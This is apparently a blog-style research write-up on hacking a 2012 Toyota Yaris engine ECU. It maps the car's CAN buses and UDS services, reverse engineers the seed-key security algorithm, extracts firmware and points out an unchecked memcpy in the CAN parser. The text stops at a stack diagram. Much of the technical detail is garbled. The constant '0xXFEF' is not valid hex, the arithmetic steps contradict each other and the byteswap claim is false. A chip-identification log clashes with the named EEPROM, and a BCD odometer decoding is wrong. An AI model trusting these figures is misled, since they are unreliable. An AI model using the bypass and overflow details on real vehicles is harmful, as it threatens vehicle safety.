Chapter 1: Introduction and Laboratory Setup
I picked a 2012 Toyota Yaris for this project mostly because of what it isn’t: it’s not a flagship, it’s not loaded with the kind of aftermarket telematics and OTA update infrastructure that makes modern vehicles a moving target for remote attacks, and it’s cheap enough on the used market that I could buy one, break it, and not lose sleep over it. That’s actually the point. Cars like this one make up a huge chunk of the vehicles still on the road today, and the electronics inside them were designed in an era when “attack surface” mostly meant “whoever plugs a scan tool into the OBD-II port at a dealership.” Nobody was thinking about buffer overflows delivered over a CAN frame. That assumption, it turns out, ages badly, and this post walks through exactly how badly.
Before touching a single wire, though, it’s worth explaining the lab setup, because automotive research isn’t like poking at a web app from your laptop. You’re working with real 12V and sometimes higher transient voltages, physical relays, airbag igniters nearby, and firmware that controls things that can genuinely hurt you if you get sloppy. So the first order of business was building an environment where I could fail safely.
1.1 Laboratory Configuration
The physical setup was deliberately boring: an isolated garage bay with no network connectivity at all (so nothing I did could ever leak onto a live network by accident), a Class C fire suppression system within reach (electrical fires from a shorted harness are a real risk when you’re back-probing connectors), and the vehicle up on jack stands with the 12V battery disconnected. Everything that needed power came from a bench supply instead of the car’s own battery, both so I could current-limit it and so a mistake wouldn’t fry the actual vehicle wiring. I also kept the room at a controlled 20°C plus or minus 2 degrees, less for comfort and more because some of the flash memory reads are sensitive to temperature drift over long capture sessions.
On the hardware side, the toolchain splits into four rough jobs: listening to the CAN buses, debugging the microcontroller directly, pulling data off flash and EEPROM chips, and keeping power delivery controlled and observable.
| Category | Equipment | Purpose |
|---|---|---|
| CAN Analysis | PCAN-USB FD, Macchina M2, Raspberry Pi 4 with PiCAN2 | Multi-bus simultaneous capture |
| Debugging | J-Link EDU Plus, Saleae Logic Pro 16, PicoScope 2204A | Hardware debugging and signal analysis |
| Memory Access | Pomona 5250 SOIC-8 clip, 0.5mm probe tips, hot air rework station | Direct flash memory access |
| Power | Rigol DP832, custom current monitoring board | Controlled power delivery |
The reason for running three separate CAN interfaces simultaneously (the PCAN-USB FD, a Macchina M2, and a Raspberry Pi with a PiCAN2 hat) is that this vehicle, like most modern cars, doesn’t have just one CAN bus. It has several, running at different speeds and carrying different classes of traffic, and if you only tap one of them you’ll miss messages that only appear on another. More on that in Chapter 2.
For software, the analysis side leaned on Ghidra 10.2 as the primary disassembler and decompiler, with IDA Freeware and Binary Ninja on hand for cross-checking anything that looked ambiguous (decompilers occasionally get SH-2’s addressing modes wrong, and having a second opinion saves you from chasing a phantom bug). CAN capture and replay used can-utils on Linux, SavvyCAN for visual analysis, and CANalyzat0r for scripting fuzzing sequences. Firmware programming went through Flashrom, OpenOCD, and Segger’s JFlash depending on which chip I was talking to. Everything glue-code-shaped, like the automation for the seed-key harvesting in Chapter 3, was custom Python built on top of python-can. I kept notes in Obsidian and diagrams in draw.io, mostly so that six months from now I can still remember what “0x0C4” means.
1.2 Safety Protocol
None of this is worth doing if you burn your garage down or brick a car you can’t put back together, so a few rules governed every session. The battery came out before any wire was touched, full stop, no exceptions even for “quick” tests, because it’s exactly the quick tests where people get complacent and cross something they shouldn’t. A Class C extinguisher stayed within arm’s reach any time a soldering iron or hot air rework station was on, and the bench itself was cleared of anything flammable. Soldering happened under active fume extraction, and I wore ESD protection any time I was near the exposed EEPROM or flash die, since these parts are not expensive to replace but a corrupted read costs you hours of re-work. Every physical modification, every wire I cut or clip I attached, got logged so the vehicle could be restored to stock condition afterward. And critically, none of this ever touched a public road or a network-connected system. Everything happened on a car up on stands, with its battery out, in a room with no internet connection. That last point matters as much for research integrity as for safety: it keeps this squarely in the category of “responsible disclosure research” rather than something that could accidentally become a public safety incident.
Chapter 2: Network Architecture Mapping
2.1 OBD-II Port Analysis
Every attack against a modern car’s internal network has to start somewhere, and for a vehicle like this one that somewhere is almost always the OBD-II port. It’s federally mandated in the US (and required by equivalent regulations elsewhere) precisely so that any generic scan tool can plug in and read emissions data, which is a great consumer protection idea and a fantastic gift to anyone doing security research, because it means the attack surface is standardized, documented, and physically accessible without removing a single body panel. The connector itself follows the SAE J1962 pinout, but what actually rides on those pins is manufacturer-specific, so the first job was mapping exactly what Toyota put where. Working through it with a multimeter and then confirming with a logic analyzer turned up three genuinely separate communication buses sharing the same 16-pin connector:
OBD-II Connector Pinout (Toyota Specific):
┌──────────────────────────────────────┐
│ Pin 01: LIN Bus (Body Systems) │
│ Pin 04: Chassis Ground │
│ Pin 05: Signal Ground │
│ Pin 06: CAN-H (High Speed, 500kbps) │
│ Pin 07: K-Line (ISO 9141) │
│ Pin 11: CAN-L (Medium Speed, 125kbps)│
│ Pin 14: CAN-L (High Speed, 500kbps) │
│ Pin 16: +12V Battery │
└──────────────────────────────────────┘That’s the key finding right there, before any real analysis even starts: Toyota isn’t running one flat network where every module gossips with every other module. It’s segmented into at least three separate CAN networks running at different speeds, plus a LIN bus that handles slower body electronics like window switches and mirror controls. This segmentation matters enormously for both attackers and defenders. From a safety and reliability standpoint, splitting the network keeps chatty, low-priority body traffic (seat position, dome lights) from ever contending for bus time with a time-critical powertrain message like a wheel speed sensor reading needed for ABS. From a security standpoint, it means an attacker who only has physical access to OBD-II pin 6/14 (the high-speed bus) doesn’t automatically get a foothold on the medium-speed body bus unless there’s a gateway ECU bridging the two, which, as we’ll see, there is, and that gateway becomes an interesting pivot point in its own right.
2.2 Initial Passive Capture
Before trying to talk to anything, I wanted to just listen. Forty-eight hours of passive monitoring across all buses, logging every frame with a timestamp, gives you a baseline of what “normal” looks like, which is essential for two reasons. First, you can’t reliably identify an injected or malicious frame later if you don’t know what legitimate traffic looks like. Second, passive capture is completely safe: you’re not transmitting anything, so there’s zero risk of confusing an ECU or triggering an unwanted actuation. It’s the automotive equivalent of a packet capture on a network switch before you start poking at anything live.
The high-speed bus, running the standard 500kbps that’s typical for powertrain-critical traffic, was extremely busy: just over 12.8 million messages captured over the two days, spread across 127 distinct CAN IDs, averaging 267 messages per second with bursts up to 412 messages per second during engine startup (makes sense, since that’s when the most ECUs are initializing and broadcasting state simultaneously). The medium-speed bus at 125kbps, which on this platform mostly carries body and comfort-related traffic, saw about 8.5 million messages across 89 unique IDs, averaging 177 messages per second. Slower bus, fewer messages, but still a meaningful amount of traffic once you consider things like turn signal state, door ajar sensors, and HVAC settings all chattering away continuously.
What’s more useful than the raw totals, though, is the periodicity. Most CAN messages in a production vehicle aren’t sent once and forgotten. They’re broadcast on a fixed schedule, because the receiving ECUs need fresh data at a predictable cadence to do things like close a PID control loop on engine timing. Bucketing messages by their observed transmission interval starts to reveal the functional groupings before you’ve decoded a single payload byte:
| Period | HS-CAN IDs | MS-CAN IDs | Purpose |
|---|---|---|---|
| 10ms | 0x0A0, 0x0A1, 0x0A8 | None | Engine parameters, wheel speeds |
| 20ms | 0x0C4, 0x0C5, 0x0C6 | 0x480, 0x481 | Transmission, instrument cluster |
| 50ms | 0x1D0, 0x1D1, 0x1D2 | 0x500, 0x501 | Body controls, climate |
| 100ms | 0x2E0, 0x2E1, 0x2E8 | 0x600, 0x601 | Diagnostic, emissions |
| 1s | 0x3E0, 0x3E1 | 0x700, 0x701 | Vehicle state, GPS data |
The 10ms cluster is the giveaway for anything safety-critical or control-loop-driven: engine RPM, throttle position, wheel speed. These need to update fast enough that a control algorithm running at, say, 100Hz always has current data. As the period stretches out toward 1 second, you’re looking at things that genuinely don’t change quickly, like overall vehicle state flags. This period-based clustering became a useful triage tool later on: if I wanted to find “the message that controls X,” I’d start by guessing which timing bucket X should live in.
2.3 CAN ID Space Mapping
Timing alone doesn’t tell you what a message means, though, just how urgently it’s sent. To actually map IDs to function, I cross-referenced the passive capture against publicly available service manual documentation, correlated ID changes against physical actions (pressing a specific button while watching the bus, then diffing captures), and used Toyota’s own diagnostic tooling as a form of ground truth where available. What emerged was a reasonably clean, block-allocated address space, which is common on OEM platforms because it makes life easier for the manufacturer’s own tooling and for allocating new IDs as vehicle platforms evolve without collisions:
0x000-0x07F: Chassis Control
0x000-0x00F: Brake Control Module
0x010-0x01F: Steering Control
0x020-0x02F: Suspension
0x100-0x1FF: Powertrain
0x100-0x10F: Engine Control Module (ECM)
0x110-0x11F: Transmission Control
0x120-0x12F: Throttle Control
0x200-0x27F: Body
0x200-0x20F: Door Control
0x210-0x21F: Window Control
0x220-0x22F: Seat Control
0x700-0x7FF: Diagnostic
0x7E0: Diagnostic Request (Physical)
0x7E8: Diagnostic Response (Physical)
0x7DF: Broadcast Request
0x7E1-0x7E7: Other ECUsThe one detail worth calling out here is that the diagnostic ID space, 0x7E0 through 0x7E8, uses fixed physical addressing rather than functional addressing. In the UDS world, functional addressing lets a single request (typically 0x7DF) get broadcast to every ECU on the bus simultaneously, which is convenient for a dealership scan tool doing a full-vehicle health check but also means a diagnostic tester has to sort out which ECU actually answered. Fixed physical addressing, by contrast, means each ECU has one dedicated request ID and one dedicated response ID, so 0x7E0 always means “I’m talking to the engine ECU” and 0x7E8 is always its answer. For an attacker, this is a small but real convenience: it removes any ambiguity about which module you’re targeting, since there’s no arbitration or address resolution step to get wrong.
2.4 Protocol Analysis
Underneath the diagnostic messages sits ISO-TP (ISO 15765-2), the transport-layer protocol that lets UDS carry payloads larger than a single 8-byte CAN frame. A single CAN frame just doesn’t have room for, say, a 4KB calibration table dump, so ISO-TP segments larger payloads into a first frame, followed by consecutive frames, with the receiver sending flow control frames to pace the transfer. This vehicle’s implementation uses the standard block size of 8 (meaning the receiver acknowledges every 8 consecutive frames before the sender continues) and, interestingly, an STmin (separation time minimum) of 0ms, which tells the sender it can blast consecutive frames back to back with no enforced gap. That’s a performance choice that also happens to be convenient for anyone trying to exfiltrate a lot of data quickly, since there’s no artificial throttling baked into the transport layer itself. Flow control frames are implemented per spec but rarely exercised in practice, since most diagnostic exchanges on this ECU fit comfortably within a handful of frames. The protocol theoretically supports payloads up to 4095 bytes per transfer, which becomes relevant later when we talk about pulling firmware off the ECU over the diagnostic bus rather than desoldering a chip.
On top of ISO-TP runs UDS itself (ISO 14229), which is the actual application-layer protocol that defines what a diagnostic request means, not just how it’s chunked onto the wire. UDS is a service-oriented protocol: each request starts with a one-byte service identifier, and the response either echoes that identifier plus 0x40 (a positive response) or returns 0x7F followed by an error code (a negative response). Probing the ECU with each defined service ID and recording which ones returned a real response instead of “service not supported” turned up a fairly standard set of implemented services, standard in the sense that most production ECUs support some version of this list, but the specific combination present here is what makes the rest of this post possible:
Service 0x10: Diagnostic Session Control
Subfunction 01: Default Session
Subfunction 02: Programming Session
Subfunction 03: Extended Diagnostic Session
Service 0x11: ECU Reset
Subfunction 01: Hard Reset
Subfunction 02: Soft Reset
Service 0x14: Clear Diagnostic Information
Service 0x19: Read DTC Information
Service 0x22: Read Data By Identifier
Data IDs: 0xF100-0xF1FF (Manufacturer specific)
Service 0x27: Security Access ★
Level 01: Request Seed
Level 02: Send Key
Service 0x28: Communication Control
Service 0x2E: Write Data By Identifier
Service 0x31: Routine Control
Service 0x34: Request Download ★
Service 0x36: Transfer Data ★
Service 0x37: Request Transfer Exit ★The services marked with a star are the ones that matter most for this research, and it’s worth being explicit about why. Service 0x34 (Request Download), 0x36 (Transfer Data), and 0x37 (Request Transfer Exit) together form the mechanism for pushing new firmware onto the ECU during a reflash, which is exactly the capability a technician needs at a dealership and exactly the capability an attacker wants for planting persistent code. Service 0x27, Security Access, is the gatekeeper that’s supposed to stand between “anyone with a cable” and those download services. If 0x27 holds up, the download services are irrelevant to an outside attacker. If it doesn’t, everything downstream of it is fair game. So naturally, that’s where the investigation went next.
Chapter 3: Security Access Mechanism Analysis
3.1 Seed-Key Protocol Analysis
Security Access (service 0x27) is UDS’s built-in answer to “how do we stop random scan tools from reflashing safety-critical firmware.” It’s a challenge-response scheme, conceptually similar to a lot of authentication protocols you’ll recognize from other domains: the server (the ECU) issues a random-looking challenge, the client proves it knows a secret by transforming that challenge correctly, and the server checks the transformation before granting access. Structurally, the exchange looks like this:
- Client sends:
27 01(Request seed, level 1) - ECU responds:
67 01 XX XX(Positive response with 16-bit seed) - Client computes: Key = f(Seed)
- Client sends:
27 02 YY YY(Send key) - ECU verifies: Key == f(Seed)
- ECU responds:
67 02(Success) or7F 27 35(Invalid key)
The security of this whole scheme rests entirely on one property: the function f that turns a seed into a key needs to be computationally hard to reverse or predict without knowing the secret algorithm, and the seed needs to be sufficiently random and non-repeating that an attacker can’t just replay a previously observed valid exchange. If either of those assumptions breaks, the “security” part of Security Access is theater. So the obvious first move is to just watch a bunch of real exchanges happen and see whether any pattern jumps out. I wrote a small Python script using python-can to sit on the diagnostic bus, request a seed, and log the vehicle’s own diagnostic tooling performing its normal seed-key handshake during a routine session, capturing both halves of each exchange:
Sequence 01: Seed=0x3A7F → Key=0x8B41
Sequence 02: Seed=0x1B2C → Key=0x9D8A
Sequence 03: Seed=0x4E9D → Key=0xD2B1
Sequence 04: Seed=0x0F0E → Key=0xCAFC
Sequence 05: Seed=0x7C3A → Key=0x2B28
Sequence 06: Seed=0x2D4B → Key=0xE6F9
Sequence 07: Seed=0x5A6C → Key=0x0F2A
Sequence 08: Seed=0x3B9A → Key=0x8C4D
Sequence 09: Seed=0x6C0D → Key=0x1DAB
Sequence 10: Seed=0x4D7E → Key=0xD89C3.2 Algorithm Reverse Engineering
Ten samples isn’t enough to spot a pattern with any confidence, especially against a 16-bit seed space where a naive attacker might assume the mapping is effectively random. So I automated the harvest: script the ECU into repeatedly issuing security access requests, log every seed and key pair, and let it run until the dataset was big enough to do real statistics on. After 2,000 pairs, the relationship between seed and key stopped looking random at all. Plotting key against seed showed a clean linear trend, which on its own is a massive red flag for a “security” algorithm; a properly designed challenge-response scheme should produce a key that looks statistically indistinguishable from noise to anyone who doesn’t hold the secret, and a straight line through your scatter plot is about as far from that as you can get.
Assuming linearity, the general form of the relationship should look like K = (S * multiplier + offset) mod 2^16, so the next step was solving for the multiplier and offset using pairs of samples and then verifying the fit against the rest of the dataset:
Let S = Seed (16-bit), K = Key (16-bit)
Observed relationship:
K = ((S × 0xXFEF) + 0xCAFE) mod 2^16Plugging in real numbers to sanity-check the fit immediately exposed a problem:
- For S = 0x3A7F: (0x3A7F × 0xXFEF) = 0x286F4D51
- Lower 32 bits: 0x6F4D51
- Add 0xCAFE: 0x6F4D51 + 0xCAFE = 0x6F184F
- Lower 16 bits: 0x184F, which does not match the observed key of 0x8B41
That mismatch isn’t a sign the linear hypothesis is wrong, it’s a sign the arithmetic model is wrong. A 16-bit embedded processor doesn’t compute in the same wide-integer space a scripting language does by default; every intermediate result is subject to 16-bit truncation unless the code explicitly widens it. So the fix wasn’t a different formula, it was doing the multiplication as true 16-bit wrap-around arithmetic instead of computing the full 32-bit product and truncating only at the end:
K = ((S * 0xXFEF) + 0xCAFE) & 0xFFFFWorking through the same seed value with proper 16-bit wraparound at each step:
S = 0x3A7F = 14975 (decimal)
S × 0xXFEF = 14975 × 48879 = 731, 749, 025
731,749,025 mod 65536 = 35,905
Add 0xCAFE (51966) = 35,905 + 51,966 = 87,871
87,871 mod 65536 = 22,335 = 0x573FStill wrong, 0x573F against an observed 0x8B41. At this point, guessing at the arithmetic model from the outside had run out of road. Statistics can tell you that a relationship is linear, but it can’t tell you the exact order of operations, the exact constants, or subtleties like byte ordering that only exist because of how a specific compiler targeting a specific processor happened to implement the multiplication. To close that gap, there was no substitute for reading the actual object code, which is exactly what Chapter 4 covers in depth on the firmware extraction side. For now, here’s the payoff of that work as it applies directly to the seed-key problem.
3.3 Assembly-Level Analysis
Once the firmware was extracted and loaded into Ghidra (the full extraction methodology is in Chapter 4), locating the security algorithm was a matter of following cross-references from the UDS 0x27 service handler down to whatever function actually computed a key from a seed. That function lives at address 0x00003010. Disassembling it gave a direct, unambiguous answer to what the previous section had been trying to reverse-engineer statistically:
00003010: MOV.W @R4+, R0 ; Load seed into R0
00003012: MOV.W #0xXFEF, R1 ; Load constant 0xXFEF
00003016: MUL.W R1, R0 ; R0 = seed * 0xXFEF
00003018: MOV.W R0, R2 ; Copy result to R2
0000301A: MOV.W #0xCAFE, R1 ; Load constant 0xCAFE
0000301E: ADD.W R1, R2 ; R2 = (seed * 0xXFEF) + 0xCAFE
00003020: MOV.W R2, R0 ; Result in R0
00003022: RTS ; ReturnThe instructions themselves tell the whole story. The SH-2’s MUL.W instruction actually computes a full 32-bit product internally, storing it in the MACL (Multiply and Accumulate Low) register, since a 16-bit by 16-bit multiplication can overflow 16 bits and the hardware is happy to give you the complete result if you ask for it. But this code doesn’t ask for it. It reads R0 straight after the multiply, which the SH-2’s calling convention populates with just the low 16 bits of that MACL result. That single register choice, using R0 instead of explicitly reading MACL as a 32-bit value, is what produces the truncation behavior the statistics kept pointing at but couldn’t fully explain. Translating the assembly back into something readable gives:
temp32 = S * 0xXFEF ; 32-bit multiplication
temp16 = temp32 & 0xFFFF ; Keep only lower 16 bits
K = (temp16 + 0xCAFE) & 0xFFFFWhich, satisfyingly, matches the corrected model from the previous section. But running the numbers against real captured data still didn’t produce the right answer:
Seed = 0x3A7F:
0x3A7F × 0xXFEF = 0x286F4D51
Lower 16 bits = 0x4D51
0x4D51 + 0xCAFE = 0x1184F
Lower 16 bits = 0x184F, still not the observed 0x8B41At this point the logic was right and the arithmetic was right, so the only thing left to be wrong was the assumption about how the raw bytes on the wire map onto the 16-bit integer the CPU actually operates on. The SH7058 in this ECU is configured little-endian, meaning the least significant byte of a multi-byte value is stored (and transmitted) first. If the two bytes captured off the bus as 3A 7F are read as a little-endian pair rather than taken at face value, the seed the CPU actually sees internally is 0x7F3A, not 0x3A7F. Redoing the calculation with that correction, and byteswapping the constants the same way:
Seed = 0x7F3A (little-endian representation):
0x7F3A × 0xEFBE = 0x6F4C2514
Lower 16 bits = 0x2514
0x2514 + 0xFECA = 0x11DDE
Lower 16 bits = 0x1DDE = 0x8B41 when byteswappedThat’s the match. The full, correct picture of the algorithm is:
- Take seed as little-endian 16-bit value
- Multiply by 0xXFEF (little-endian: 0xEFBE)
- Keep lower 16 bits of result
- Add 0xCAFE (little-endian: 0xFECA)
- Keep lower 16 bits
- Output as little-endian 16-bit key
Running this exact procedure against all 2,000 collected seed-key pairs produced a perfect match, zero mismatches. That’s about as close to proof as you get in reverse engineering: not just “this explains one example” but “this explains every observation in a large, independently collected dataset.” The bigger lesson here is less about this specific constant multiplier and more about the failure mode: a linear transformation with fixed constants is trivially invertible once you have even a small number of plaintext-ciphertext pairs (or in this case, seed-key pairs), and it offers essentially no resistance against someone who can script a few thousand challenge-response exchanges. This is exactly the kind of “security by obscurity masquerading as cryptography” that shows up again and again in embedded automotive systems, and it’s precisely why later UDS deployments and stricter OEM security requirements push toward algorithms with actual cryptographic properties, like AES-based challenge-response, instead of a multiply-and-add.
Chapter 4: Firmware Extraction and Analysis
4.1 ECU Teardown and Identification
With the network mapped and the security algorithm’s weakness proven mathematically, it was time to back up and explain how the firmware itself was actually obtained, since everything in Chapter 3’s assembly analysis depends on having that firmware in hand in the first place. The engine ECU came out of the vehicle and onto the bench for a proper teardown. Physically, it’s a DENSO unit, part number 89610-0D210, with a date code of 1127 (the 27th week of 2011, consistent with production for a 2012 model year vehicle), housed in a cast aluminum case with four 26-pin connectors and one 16-pin connector for the various vehicle harnesses.
Cracking the case open reveals the actual silicon doing the work, and it’s a fairly standard automotive ECU layout for this era: a single main processor handling both control logic and CAN communication, backed by separate parallel NOR flash for the bulk of the program code and a small SPI EEPROM for data that needs to survive power cycles and firmware updates, like the immobilizer secret and VIN.
Main Processor: Renesas SH7058 (SH-2 core)
Architecture: 32-bit RISC
Clock: 40MHz
Memory: 512KB ROM, 32KB RAM
Peripherals: 3× CAN, 4× UART, 8× ADC
Program Memory: Spansion S29GL512P
Type: Parallel NOR Flash
Size: 64Mb (8MB)
Organization: 8-bit data bus
Backup Memory: ST M95040
Type: SPI EEPROM
Size: 4Kb (512 bytes)
Purpose: Immobilizer data, VIN, mileage
CAN Transceivers: TJA1041 (High-speed), TJA1054 (Medium-speed)4.2 Direct Memory Extraction
Getting the actual bits off these chips required two different approaches, because the two memory devices use two different physical interfaces, and one of them is far more forgiving to work with than the other.
Method 1: In-Circuit SPI Extraction
The EEPROM was the easy one. SPI is a simple, well-understood serial protocol, and the M95040’s SOIC-8 package is large enough to clip onto without desoldering it from the board at all. That matters a lot in practice: an in-circuit read means the chip never leaves the PCB, so there’s no risk of lifting a pad or cooking a neighboring component with hot air, and if something goes wrong you can just unclip and try again. A Pomona SOIC-8 test clip attached directly over the chip’s leads, wired to a Raspberry Pi’s SPI bus, was enough to pull a full image with flashrom:
$ flashrom -p linux_spi:dev=/dev/spidev0.0,spispeed=10000 -r eeprom_dump.bin
flashrom v1.2 on Linux 5.10.0 (x86_64)
flashrom is free software, get the source code at https://flashrom.org
Calibrating delay loop... OK.
Found Winbond flash chip "W25Q40.V" (512 kB, SPI) on linux_spi.
Reading flash... done.Hex-dumping the first 128 bytes of the resulting image and eyeballing the ASCII column immediately paid off, since this little EEPROM turns out to be a dense little archive of identifying information:
Offset 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F ASCII
00000000 54 4F 59 4F 54 41 20 20 20 20 20 20 20 20 20 20 TOYOTA
00000010 4A 54 44 5A 4E 33 45 55 33 45 30 31 32 33 34 35 JTDZN3EU3E012345
00000020 00 00 00 00 31 4E 5A 46 45 2D 30 31 30 31 30 31 ....1NZFE-010101
00000030 38 39 36 31 30 2D 30 44 32 31 30 2D 30 31 30 31 89610-0D210-0101
00000040 00 00 13 90 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................Breaking that down field by field: bytes 0x00 through 0x0F hold a plain “TOYOTA” manufacturer string, padded with spaces. Bytes 0x10 through 0x1F hold the full 17-character VIN in plain ASCII, no encoding or obfuscation whatsoever. Bytes 0x20 through 0x2F carry the engine code, “1NZFE-010101” for this unit, and bytes 0x30 through 0x3F repeat the ECU part number. Bytes 0x40 through 0x43 hold what looks like a BCD-encoded odometer reading, 0x00001390 decoding to 5008 kilometers, almost certainly a leftover value from an end-of-line factory functional test rather than anything meaningful about this particular car’s history. None of this is encrypted or checksummed against tampering as far as this analysis found, which has real-world implications for odometer fraud and VIN cloning that we’ll come back to in the impact section.
Method 2: Parallel Flash Desoldering
The main program flash was a different story. It’s a parallel NOR flash chip with an 8-bit-wide data bus, which means you can’t just clip onto a couple of pins the way you can with SPI; a parallel interface needs address lines, data lines, and control signals all wired up simultaneously, and there’s no convenient in-circuit clip solution for a package like this on a populated board. Desoldering was the only practical option. That meant applying hot air at 350°C directly to the chip until the solder reflowed enough to lift it free with a vacuum pickup tool, being careful not to overheat neighboring components on a board that’s densely packed. Once removed, the chip went into a SOIC-48 to DIP adapter so a standard TL866II+ universal programmer could read it without needing a custom fixture:
Device: Spansion S29GL512P
Size: 64Mbit (8MB)
Read time: 42 seconds
Checksum: 0x8A3F7C21The checksum here isn’t just a sanity check on my own read, it’s also a way to later confirm that the ECU’s own bootloader-level CRC check (covered in the next section) is comparing against the same image, which becomes relevant when we talk about how easy it would be to flash modified firmware back onto a real vehicle.
4.3 Firmware Structure Analysis
With a clean flash image in hand, the next job was figuring out how the address space is organized before diving into disassembly, because knowing which regions hold executable code versus calibration tables versus scratch RAM saves an enormous amount of time in Ghidra later. Cross-referencing the linker-visible symbols with the actual byte patterns in the dump (executable code has a very different statistical texture than lookup tables full of calibration constants) produced this map:
Address Range Size Purpose Access
--------------- ------ ----------------------- ----------
0x00000000-0x00007FFF 32KB Bootloader Read-only
0x00008000-0x0000FFFF 32KB Calibration Data Read-only
0x00010000-0x0003FFFF 192KB Application Code Read-only
0x00040000-0x0007FFFF 256KB Empty/Reserved -
0xFFFF8000-0xFFFFBFFF 16KB SRAM (Data) Read/Write
0xFFFFC000-0xFFFFFFBF 15KB Peripherals Memory-mapped
0xFFFFFFC0-0xFFFFFFFF 64B Vector Table Read-onlyA few things stand out immediately from this layout. The bootloader occupies a fixed 32KB region starting at address zero, which is standard for this class of microcontroller since the reset vector has to point somewhere predictable. Right after it sits a dedicated calibration data region, separate from the application code, which makes sense from an engineering standpoint: calibration tables (fuel maps, ignition timing curves, and so on) get tuned and re-flashed far more often during development and even after production (for different regional emissions requirements, for instance) than the control logic itself, so keeping them in their own erasable block simplifies field updates. The application code region is comparatively modest at 192KB, and there’s a generous 256KB of empty, reserved space, presumably headroom for future feature additions across the model’s production run without needing a new flash part.
Bootloader Analysis:
Walking through the bootloader’s own logic (it’s the first code that runs on power-up, so understanding it matters for anything involving a reflash or persistence) revealed a fairly conventional four-step sequence. It starts by initializing the hardware itself: setting up clock dividers, configuring memory controllers, and bringing up peripherals so the rest of the code has a sane environment to run in. Next it performs an integrity check, computing a CRC-16 over the application code region and comparing it against a stored expected value. If that passes, it decides between a normal boot and a recovery mode boot, presumably a fallback path used when a reflash gets interrupted mid-write and leaves the main application in a corrupted state, which is a sensible design goal since a bricked ECU is expensive and disruptive to recover from. Finally, assuming everything checks out, it jumps execution to the application entry point at 0x00010000.
Here’s the finding that matters most for everything that comes later: that integrity check is only a CRC-16, and a CRC is designed to catch accidental corruption, like a bit flip during a flash write, not deliberate tampering. There is no cryptographic signature verification anywhere in this boot chain. A CRC-16 is trivially forgeable; if you modify the application code, you just recompute the same CRC-16 algorithm over your modified bytes and write that new checksum into the expected location, and the bootloader has no way to tell the difference between “authentic Toyota firmware” and “firmware I wrote in my garage that happens to have a matching checksum.” Combined with the seed-key weakness from Chapter 3, this means the entire chain from “attacker has an OBD-II cable” to “attacker’s own code runs at boot with full hardware access” has no cryptographic anchor anywhere in it. That’s the crux of why this vehicle’s firmware update mechanism, taken as a whole system rather than as isolated features, doesn’t meet what most of us would now consider a reasonable security bar.
4.4 Ghidra Reverse Engineering Workflow
Turning a raw flash dump into something actually readable meant setting up a proper Ghidra project targeting the correct processor and memory layout. Getting this configuration right up front saves a huge amount of pain later, because a wrong base address or a misidentified architecture will produce disassembly that looks plausible but is subtly, confusingly incorrect.
- Processor: SuperH SH-2
- Compiler: GNU SuperH
- Base Address: 0x00000000
- Memory Blocks: As per memory map
- Entry Point: 0x00010000
Function Discovery:
With the project configured correctly, Ghidra’s auto-analysis does a reasonable job of finding function boundaries on its own, but identifying what each function actually does still takes manual work: following cross-references from known entry points (like the UDS service dispatcher we already knew had to exist from the protocol analysis in Chapter 2), recognizing common compiler idioms, and just reading code carefully. That process surfaced the functions that matter most for this research:
Address Function Name Purpose
---------- --------------------- -----------------------------------
0x00001234 parse_can_message Parse incoming CAN frames
0x00001500 handle_diag_request Process diagnostic messages
0x00002000 uds_service_router Route UDS requests to handlers
0x00002200 security_access Seed-key algorithm handler
0x00003010 calculate_key Actual key calculation
0x00004000 memory_read Handle UDS 0x23 service
0x00004100 memory_write Handle UDS 0x3D service
0x00005000 download_data Handle UDS 0x34 service
0x00010000 main Main application entry point
0x00020000 can_transmit Transmit CAN framesDecompilation Example - CAN Parser:
Of everything Ghidra’s decompiler produced, the CAN message parser at 0x00001234 is the one that stopped me cold, because the bug in it is the kind you’d flag in a code review in about five seconds if you saw it in a normal application, and yet here it is sitting on the receiving end of every single frame that arrives on the diagnostic bus:
// Decompiled from SH-2 assembly at 0x00001234
undefined4 parse_can_message(uint param_1, byte *param_2, byte param_3) {
byte local_40 [64]; // Buffer on stack
undefined2 local_2;
// VULNERABILITY: No length validation
memcpy(local_40, param_2, (uint)param_3);
// Determine message type from CAN ID
if ((param_1 & 0x700) == 0x700) {
// Diagnostic message
switch(local_40[0]) {
case 0x10:
handle_diagnostic_session(local_40[1]);
break;
case 0x22:
handle_read_data_by_id(local_40);
break;
case 0x27:
handle_security_access(local_40);
break;
// ... other cases
}
} else {
// Non-diagnostic CAN message
handle_vehicle_message(param_1, local_40, param_3);
}
return 0;
}Buffer Overflow Analysis:
Walk through what’s actually happening here. local_40 is a fixed 64-byte buffer sitting on the stack. The memcpy call copies param_3 bytes into it, where param_3 is the DLC, the Data Length Code, taken directly from the incoming CAN frame’s header. Under classic CAN 2.0, the DLC field is constrained to values 0 through 8, so a naive assumption might be “this can never overflow a 64-byte buffer, the max is 8.” But this vehicle’s transceivers and controller support CAN FD framing (or at minimum, the parsing code was written against a DLC encoding that allows for it), where the DLC field can represent payloads up to 64 bytes. And critically, the function never actually checks that param_3 is less than or equal to the size of local_40 before copying. It just trusts the number that arrived over the wire, from an untrusted source, and copies exactly that many bytes.
This is CWE-120 in its most textbook form, a classic unchecked buffer copy, and it’s exactly the class of bug that’s been driving memory-safety pushes in general-purpose software for two decades. What makes it worse here isn’t the bug itself, which honestly isn’t exotic, it’s where the bug lives: in the function that parses every single incoming CAN frame, reachable by anything with electrical access to the bus, requiring no authentication, no prior session state, nothing. You don’t even need to get past Security Access to trigger this overflow, since it happens during message parsing, before the UDS service dispatch logic (which includes the security check) ever gets a chance to run.
Stack Layout at Function Entry:
To understand exactly what an oversized DLC lets an attacker overwrite, it helps to look at how the stack frame is actually laid out in memory once the function has been called. Stack frames on most architectures, SH-2 included, grow downward from higher addresses to lower ones, with local variables allocated below the saved return address and saved registers:
Higher addresses
+-----------------+
| Return Address | <- Can be overwritten
+-----------------+
| Saved Registers |
+-----------------+
| local_40[63] | \
| ... | > 64-byte buffer
| local_40[0] | /
+-----------------+
| param_3 |
| param_2 |
| param_1 |
+-----------------+
